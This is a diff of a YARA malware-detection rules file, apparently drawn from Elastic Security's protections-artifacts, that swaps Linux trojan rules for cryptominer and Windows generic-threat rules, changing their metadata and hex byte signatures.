-		logic_hash = "8ba3566ec900e37f05f11d40c65ffe1dfc587c553fa9c28b71ced7a9a90f50c3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L179-L197"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bea55bc9495ee51c78ceedadf3a685ea9d6dd428170888c67276c100d4d94beb"
+		logic_hash = "a06f5d5be87153be1253c2e20a60fa36701a745813926be03ee466ce8e2285b0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e81615b5756c2789b9be8fb10420461d5260914e16ba320cbab552d654bbbd8a"
+		fingerprint = "1746bc1d96207bd1bb44e9ff248b76245feb76c1d965400c3abd3b9116ea8455"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -79489,28 +83494,28 @@ rule ELASTIC_Linux_Trojan_Generic_5420D3E7 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 63 00 5F 5A 4E 34 41 52 43 34 37 65 6E 63 72 79 70 74 45 50 63 }
+		$a = { 01 48 8B 44 24 58 49 89 41 08 8B 01 48 C1 E0 05 4D 8D 04 07 48 8B 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_4F4Cc3Ea : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_C6218E30 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "4f4cc3ea-a906-4fce-a482-d762ab8995b8"
+		id = "c6218e30-1a49-46ea-aac8-5f0f652156c5"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "32e25641360dbfd50125c43754cd327cf024f1b3bfd75b617cdf8a17024e2da5"
-		logic_hash = "9eb0d93b8c1a579ca8362d033edecbbe6a9ade82f6ae5688c183b97ed7b97faa"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L199-L217"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b43ddd8e355b0c538c123c43832e7c8c557e4aee9e914baaed0866ee5d68ee55"
+		logic_hash = "3efbc3cb1591a9340df10640b411a9ab4c41e0aa26c1677d9def8b82e4c246f4"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d85dac2bd81925f5d8c90c11047c631c1046767cb6649cd266c3a143353b6c12"
+		fingerprint = "c3171cf17ff3b0ca3d5d62fd4c2bd02a4e0a8616a84ea5ef9e78307283e4a360"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -79518,28 +83523,28 @@ rule ELASTIC_Linux_Trojan_Generic_4F4Cc3Ea : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 4A 4E 49 20 55 4E 50 41 43 4B 20 44 45 58 20 53 54 41 52 54 20 }
+		$a = { AC 24 B0 00 00 00 48 89 FA 66 0F EF DD 48 C1 E2 20 66 41 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_703A0258 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrminer_B17A7888 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
 		author = "Elastic Security"
-		id = "703a0258-8d28-483e-a679-21d9ef1917b4"
-		date = "2021-04-06"
+		id = "b17a7888-dc12-4bb4-bc77-558223814e8b"
+		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b086d0119042fc960fe540c23d0a274dd0fb6f3570607823895c9158d4f75974"
-		logic_hash = "cb37930637b8da91188d199ee20f1b64a0b1f13e966a99e69b983e623dac51de"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrminer.yar#L219-L237"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "65c9fdd7c559554af06cd394dcebece1bc0fdc7dd861929a35c74547376324a6"
+		logic_hash = "a7f6daa5c42d186d2c5a027fdb35b45287c3564a7b57b8a2f53659e6ca90602a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "796c2283eb14057081409800480b74ab684413f8f63a9db8704f5057026fb556"
+		fingerprint = "2b11457488e6098d777fb0d8f401cf10af5cd48e05248b89cb9e377d781b516c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -79547,1978 +83552,1903 @@ rule ELASTIC_Linux_Trojan_Generic_703A0258 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C2 F7 89 76 7E 86 87 F6 2B A3 2C 94 61 36 BE B6 }
+		$a = { D4 FF C5 55 F4 C9 C5 F5 D4 CD C4 41 35 D4 C9 C5 B5 D4 C9 C5 C5 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_378765E4 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Bc6Ae28D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "378765e4-c0f2-42ad-a42b-b992d3b866f4"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "bc6ae28d-050b-43d9-ba57-82fb37a2bc91"
+		date = "2023-12-01"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1ed42910e09e88777ae9958439d14176cb77271edf110053e1a29372fce21ec1"
-		logic_hash = "dd10305f553fa94ff83fafa84cff3d544f097b617fca20760eef838902e1f7db"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ce00873eb423c0259c18157a07bf7fd9b07333e528a5b9d48be79194310c9d97"
+		logic_hash = "0ca5ec945858a5238eac048520dea4597f706ad2c96be322d341c84c4ddbce33"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "60f259ba5ffe607b594c2744b9b30c35beab9683f4cd83c2e31556a387138923"
-		severity = 100
+		fingerprint = "40a45e5b109a9b48cecd95899ff6350af5d28deb1c6f3aa4f0363ed3abf62bf7"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E8 ?? FB FF FF 83 7D D4 00 79 0A B8 ?? 22 60 00 }
+		$a = { 24 83 79 08 00 75 19 DD 01 8D 45 DC 50 51 51 DD 1C 24 E8 DB FC FF FF 85 C0 74 05 8B 45 F0 C9 C3 83 C8 FF C9 C3 55 8B EC 83 EC 24 83 79 08 00 75 19 DD 01 8D 45 DC 50 51 51 DD 1C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_F657Fb4F : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Ce98C4Bc : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f657fb4f-a065-4d51-bead-fd28f8053418"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "ce98c4bc-22bb-4c2b-bced-8fc36bd3a2f0"
+		date = "2023-12-17"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1ed42910e09e88777ae9958439d14176cb77271edf110053e1a29372fce21ec1"
-		logic_hash = "af4fa2c21b47f360b425ebbfea624e3728cd682e54e367d265b4f3a6515b0720"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L21-L40"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "950e8a29f516ef3cf1a81501e97fbbbedb289ad9fb93352edb563f749378da35"
+		logic_hash = "74914f41c03cb2dcb1dc3175cc76574a0d40b66a1a3854af8f50c9858704b66b"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "8c15d5e53b95002f569d63c91db7858c4ca8f26c441cb348a1b34f3b26d02468"
-		severity = 100
+		fingerprint = "d0849208c71c1845a6319052474549dba8514ecf7efe6185c1af22ad151bdce7"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E8 ?? FB FF FF 83 7D D4 00 79 0A B8 ?? ?? 60 00 }
+		$a1 = { 4D 65 73 73 61 67 65 50 61 63 6B 4C 69 62 2E 4D 65 73 73 61 67 65 50 61 63 6B }
+		$a2 = { 43 6C 69 65 6E 74 2E 41 6C 67 6F 72 69 74 68 6D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_Be1757Ef : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_0Cc1481E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "be1757ef-cf45-4c00-8d6c-dbb0f44f6efb"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "0cc1481e-d666-4443-852c-679ef59e4ee4"
+		date = "2023-12-17"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e4e2b5af9d0c72aae83cec57e5c091a95c549f826e8f13559aaf7d300f6e13"
-		logic_hash = "567d33c262e5f812c6a702bcc0a1f0cf576b67bf7cf67bb82b5f9ce9f233aaff"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L42-L60"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6ec7781e472a6827c1406a53ed4699407659bd57c33dd4ab51cabfe8ece6f23f"
+		logic_hash = "1a094cf337cb85aa4b7d1d2025571ab0661a7be1fd03d53d8c7370a90385f38c"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0af6b01197b63259d9ecbc24f95b183abe7c60e3bf37ca6ac1b9bc25696aae77"
-		severity = 100
+		fingerprint = "3dac71f8cbe7cb12066e91ffb6da6524891654fda249fa5934946fd5a2120360"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 20 54 68 75 20 4D 61 72 20 31 20 31 34 3A 34 34 3A 30 38 20 }
+		$a1 = { 83 C4 A8 53 56 57 8B FA 8B D8 8B 43 28 3B 78 10 0F 84 B4 00 00 00 8B F0 85 FF 75 15 83 7E 04 01 75 0F 8B 46 10 E8 03 A7 FF FF 33 C0 89 46 10 EB 7C 8B C3 E8 B5 F3 FF FF 8B C3 E8 BE F3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_7A95Ef79 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_2507C37C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "7a95ef79-3df5-4f7a-a8ba-00577473b288"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "2507c37c-a0ef-47e0-a02a-3e28f4655715"
+		date = "2023-12-18"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L141-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f59340a740af8f7f4b96e3ea46d38dbe81f2b776820b6f53b7028119c5db4355"
-		logic_hash = "6da43e4bab6b2024b49dfc943f099fb21c06d8d4a082a05594b07cb55989183c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L62-L80"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "04296258f054a958f0fd013b3c6a3435280b28e9a27541463e6fc9afe30363cc"
+		logic_hash = "8c5ea1290260993ea5140baa4645f3fd0ebb4d43fce0e9a25f8e8948e683aec1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "aadec0fa964f94afb725a568dacf21e80b80d359cc5dfdd8d028aaece04c7012"
-		severity = 100
+		fingerprint = "b20b76f19d21730b6e32d1468f0e14ee9d6f9f07b9692fb6dec76605d9b967e2"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 1C 8B 54 24 20 8B 74 24 24 CD 80 5E 5A 59 5B C3 }
+		$a1 = { 55 8B EC 8B 45 14 56 57 33 FF 3B C7 74 47 39 7D 08 75 1B E8 B2 2B 00 00 6A 16 5E 89 30 57 57 57 57 57 E8 3B 2B 00 00 83 C4 14 8B C6 EB 29 39 7D 10 74 E0 39 45 0C 73 0E E8 8D 2B 00 00 6A 22 59 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_1C5E42B7 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_E052D248 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "1c5e42b7-b873-443e-a30c-66a75fc39b21"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "e052d248-32f2-4d51-b42d-468a09e06daa"
+		date = "2023-12-18"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L161-L179"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b078a02963610475217682e6e1d6ae0b30935273ed98743e47cc2553fbfd068f"
-		logic_hash = "cd759b87a303fafb9461d0a73b6a6b3f468b1f3db0189ba0e584a629e5d78da1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L82-L100"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ed2bbc0d120665044aacb089d8c99d7c946b54d1b08a078aebbb3b91f593da6e"
+		logic_hash = "1a16ce6d1c6707560425156e625ad19a82315564b3f03adafbcc3e65b0e98a6d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b64284e1220ec9abc9b233e513020f8b486c76f91e4c3f2a0a6fb003330c2535"
-		severity = 100
+		fingerprint = "ccfbcb9271b1ce99b814cf9e3a4776e9501035166824beaf39d4b8cd03446ef3"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 C0 89 45 F4 83 7D F4 FF 75 1C 83 EC 0C 68 }
+		$a1 = { 55 8B EC 64 A1 00 00 00 00 6A FF 68 4F 5A 54 00 50 64 89 25 00 00 00 00 6A 02 68 24 D0 58 00 E8 FF 65 10 00 C7 45 FC FF FF FF FF 68 10 52 55 00 E8 F7 72 10 00 8B 4D F4 83 C4 0C 64 89 0D 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_8Ca4B663 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_2Bb7Fbe3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "8ca4b663-b282-4322-833a-4c0143f63634"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "2bb7fbe3-2add-4ae9-adbf-5f043475d879"
+		date = "2023-12-18"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L181-L199"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1ddf479e504867dfa27a2f23809e6255089fa0e2e7dcf31b6ce7d08f8d88947e"
-		logic_hash = "43b8cae2075f55a98b226f865d54e1c96345db0564815d849b3458d3f3ffee7f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L102-L120"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "65cc8704c0e431589d196eadb0ac8a19151631c8d4ab7375d7cb18f7b763ba7b"
+		logic_hash = "36e1ab766e09e8d06b9179f67a1cb842ba257f140610964a941fb462ed3e803c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "34e04e32ee493643cc37ff0cfb94dcbc91202f651bc2560e9c259b53a9d6acfc"
-		severity = 100
+		fingerprint = "e20c20c61768bd936cc18df56d7ec12d92745b6534ac8149bf367d6ad62fa8bd"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 28 60 DF F2 FB B7 E7 EB 96 D1 E6 96 88 12 96 EB 8C 94 EB C7 4E }
+		$a1 = { 83 EC 14 68 B6 32 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 30 53 56 57 89 65 EC C7 45 F0 C0 15 40 00 33 F6 89 75 F4 89 75 F8 89 75 E0 89 75 DC 89 75 D8 6A 01 FF 15 AC 10 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_D3Fe3Fae : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_994F2330 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "d3fe3fae-f7ec-48d5-8b17-9ab11a5b689f"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "994f2330-ce61-4c23-b100-7df3feaeb078"
+		date = "2023-12-18"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L201-L219"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2a2542142adb05bff753e0652e119c1d49232d61c49134f13192425653332dc3"
-		logic_hash = "0b980a0bcf8340410fe2b53d109f629c6e871ebe82af467153d7b50b73fd8644"
-		score = 60
-		quality = 43
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L122-L140"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0a30cb09c480a2659b6f989ac9fe1bfba1802ae3aad98fa5db7cdd146fee3916"
+		logic_hash = "ace99deae7f5faa22f273ec4fe45ef07f03acd1ae4d9c0f18687ef6cf5b560c2"
+		score = 75
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1773a3e22cb44fe0b3e68d343a92939a955027e735c60b48cf3b7312ce3a6415"
-		severity = 100
+		fingerprint = "4749717da2870a3942d7a3aa7e2809c4b9dc783a484bfcd2ce7416ae67164a26"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 47 53 45 54 2C 20 70 69 64 2C 20 4E 54 5F 50 52 53 54 41 54 }
+		$a1 = { 83 EC 0C 8B 55 08 85 D2 0F 84 C7 00 00 00 8B 42 3C 83 7C 10 74 10 8D 44 10 18 0F 82 B5 00 00 00 83 78 64 00 0F 84 AB 00 00 00 8B 4D 0C 8B 40 60 C1 E9 10 03 C2 66 85 C9 75 14 0F B7 4D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_5E981634 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Bf7Aae24 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "5e981634-e34e-4943-bf8f-86cfd9fffc85"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "bf7aae24-f89a-4cc6-9a15-fc29aa80af98"
+		date = "2023-12-18"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L221-L239"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "448e8d71e335cabf5c4e9e8d2d31e6b52f620dbf408d8cc9a6232a81c051441b"
-		logic_hash = "4623c07a15588788ec8a484642a33f2d18127849302d57520a0dac875564f62c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L142-L160"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6dfc63894f15fc137e27516f2d2a56514c51f25b41b00583123142cf50645e4e"
+		logic_hash = "b6dfa6f4c46bddd643f2f89f6275404c19fd4ed1bbae561029fffa884e99e167"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "57f1e8fa41f6577f41a73e3460ef0c6c5b0a65567ae0962b080dfc8ab18364f5"
-		severity = 100
+		fingerprint = "9304e9069424d43613ef9a5484214d0e3620245ef9ae64bae7d825f5f69d90c0"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 74 1D 8B 44 24 68 89 84 24 A4 00 00 00 8B 44 24 6C 89 84 24 A8 00 }
+		$a1 = { 48 33 F6 44 8B EE 48 89 74 24 20 8B EE 48 89 B4 24 A8 00 00 00 44 8B F6 48 89 74 24 28 44 8B E6 E8 BF FF FF FF 4C 8B F8 8D 5E 01 B8 4D 5A 00 00 66 41 39 07 75 1B 49 63 57 3C 48 8D 4A }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_D8953Ca0 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_D542E5A5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "d8953ca0-f1f1-4d76-8c80-06f16998ba03"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "d542e5a5-0648-40de-8b70-9f78f9bd1443"
+		date = "2023-12-18"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L241-L259"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "552753661c3cc7b3a4326721789808482a4591cb662bc813ee50d95f101a3501"
-		logic_hash = "cbc1a60a1d9525f7230336dff07f56e6a0b99e7c70c99d3f4363c06ed0071716"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L162-L180"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3fc4ae7115e0bfa3fc6b75dcff867e7bf9ade9c7f558f31916359d37d001901b"
+		logic_hash = "3c16c02d4fc6e019f0ab0ff4daad61f59275afd8fb3ee263b1b59876233a686e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "16ab55f99be8ed2a47618978a335a8c68369563c0a4d0a7ff716b5d4c9e0785c"
-		severity = 100
+		fingerprint = "62d3edc282cedd5a6464b92725a3916e3bdc75e8eb39db457d783cb27afa3aec"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 5B 9C 9C 9C 9C 5C 5D 5E 5F 9C 9C 9C 9C B1 B2 B3 B4 9C 9C 9C 9C }
+		$a1 = { 55 8B EC 56 FF 75 08 8B F1 E8 B6 FF FF FF C7 06 AC 67 41 00 8B C6 5E 5D C2 04 00 8B FF 55 8B EC 56 FF 75 08 8B F1 E8 99 FF FF FF C7 06 B8 67 41 00 8B C6 5E 5D C2 04 00 B8 EF 5B 40 00 A3 E8 5A }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Generic_181054Af : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_8D10790B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Generic (Linux.Trojan.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "181054af-dc05-4981-8a57-ea17ffd6241f"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "8d10790b-6f26-46bf-826e-1371565763f0"
+		date = "2023-12-18"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Generic.yar#L261-L279"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
